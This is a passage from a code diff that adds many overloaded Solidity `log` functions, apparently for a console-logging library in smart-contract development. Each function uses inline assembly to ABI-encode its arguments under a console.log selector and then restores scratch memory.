+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,address,uint256,string)`.
+            mstore(0x00, 0x5a477632)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p0)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, address p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,address,string,address)`.
+            mstore(0x00, 0xaabc9a31)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, address p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,address,string,bool)`.
+            mstore(0x00, 0x5f15d28c)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, address p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,address,string,uint256)`.
+            mstore(0x00, 0x91d1112e)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, address p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        bytes32 m9;
+        bytes32 m10;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            m9 := mload(0x120)
+            m10 := mload(0x140)
+            // Selector of `log(string,address,string,string)`.
+            mstore(0x00, 0x245986f2)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, 0xc0)
+            mstore(0x80, 0x100)
+            writeString(0xa0, p0)
+            writeString(0xe0, p2)
+            writeString(0x120, p3)
+        }
+        _sendLogPayload(0x1c, 0x144);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+            mstore(0x120, m9)
+            mstore(0x140, m10)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,bool,address,address)`.
+            mstore(0x00, 0x33e9dd1d)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,bool,address,bool)`.
+            mstore(0x00, 0x958c28c6)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,bool,address,uint256)`.
+            mstore(0x00, 0x5d08bb05)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,bool,address,string)`.
+            mstore(0x00, 0x2d8e33a4)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p0)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,bool,bool,address)`.
+            mstore(0x00, 0x7190a529)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,bool,bool,bool)`.
+            mstore(0x00, 0x895af8c5)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,bool,bool,uint256)`.
+            mstore(0x00, 0x8e3f78a9)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,bool,bool,string)`.
+            mstore(0x00, 0x9d22d5dd)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p0)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,bool,uint256,address)`.
+            mstore(0x00, 0x935e09bf)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,bool,uint256,bool)`.
+            mstore(0x00, 0x8af7cf8a)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,bool,uint256,uint256)`.
+            mstore(0x00, 0x64b5bb67)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,bool,uint256,string)`.
+            mstore(0x00, 0x742d6ee7)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p0)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,bool,string,address)`.
+            mstore(0x00, 0xe0625b29)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,bool,string,bool)`.
+            mstore(0x00, 0x3f8a701d)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,bool,string,uint256)`.
+            mstore(0x00, 0x24f91465)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, bool p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        bytes32 m9;
+        bytes32 m10;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            m9 := mload(0x120)
+            m10 := mload(0x140)
+            // Selector of `log(string,bool,string,string)`.
+            mstore(0x00, 0xa826caeb)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, 0xc0)
+            mstore(0x80, 0x100)
+            writeString(0xa0, p0)
+            writeString(0xe0, p2)
+            writeString(0x120, p3)
+        }
+        _sendLogPayload(0x1c, 0x144);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+            mstore(0x120, m9)
+            mstore(0x140, m10)
+        }
+    }
+
+    function log(bytes32 p0, uint256 p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
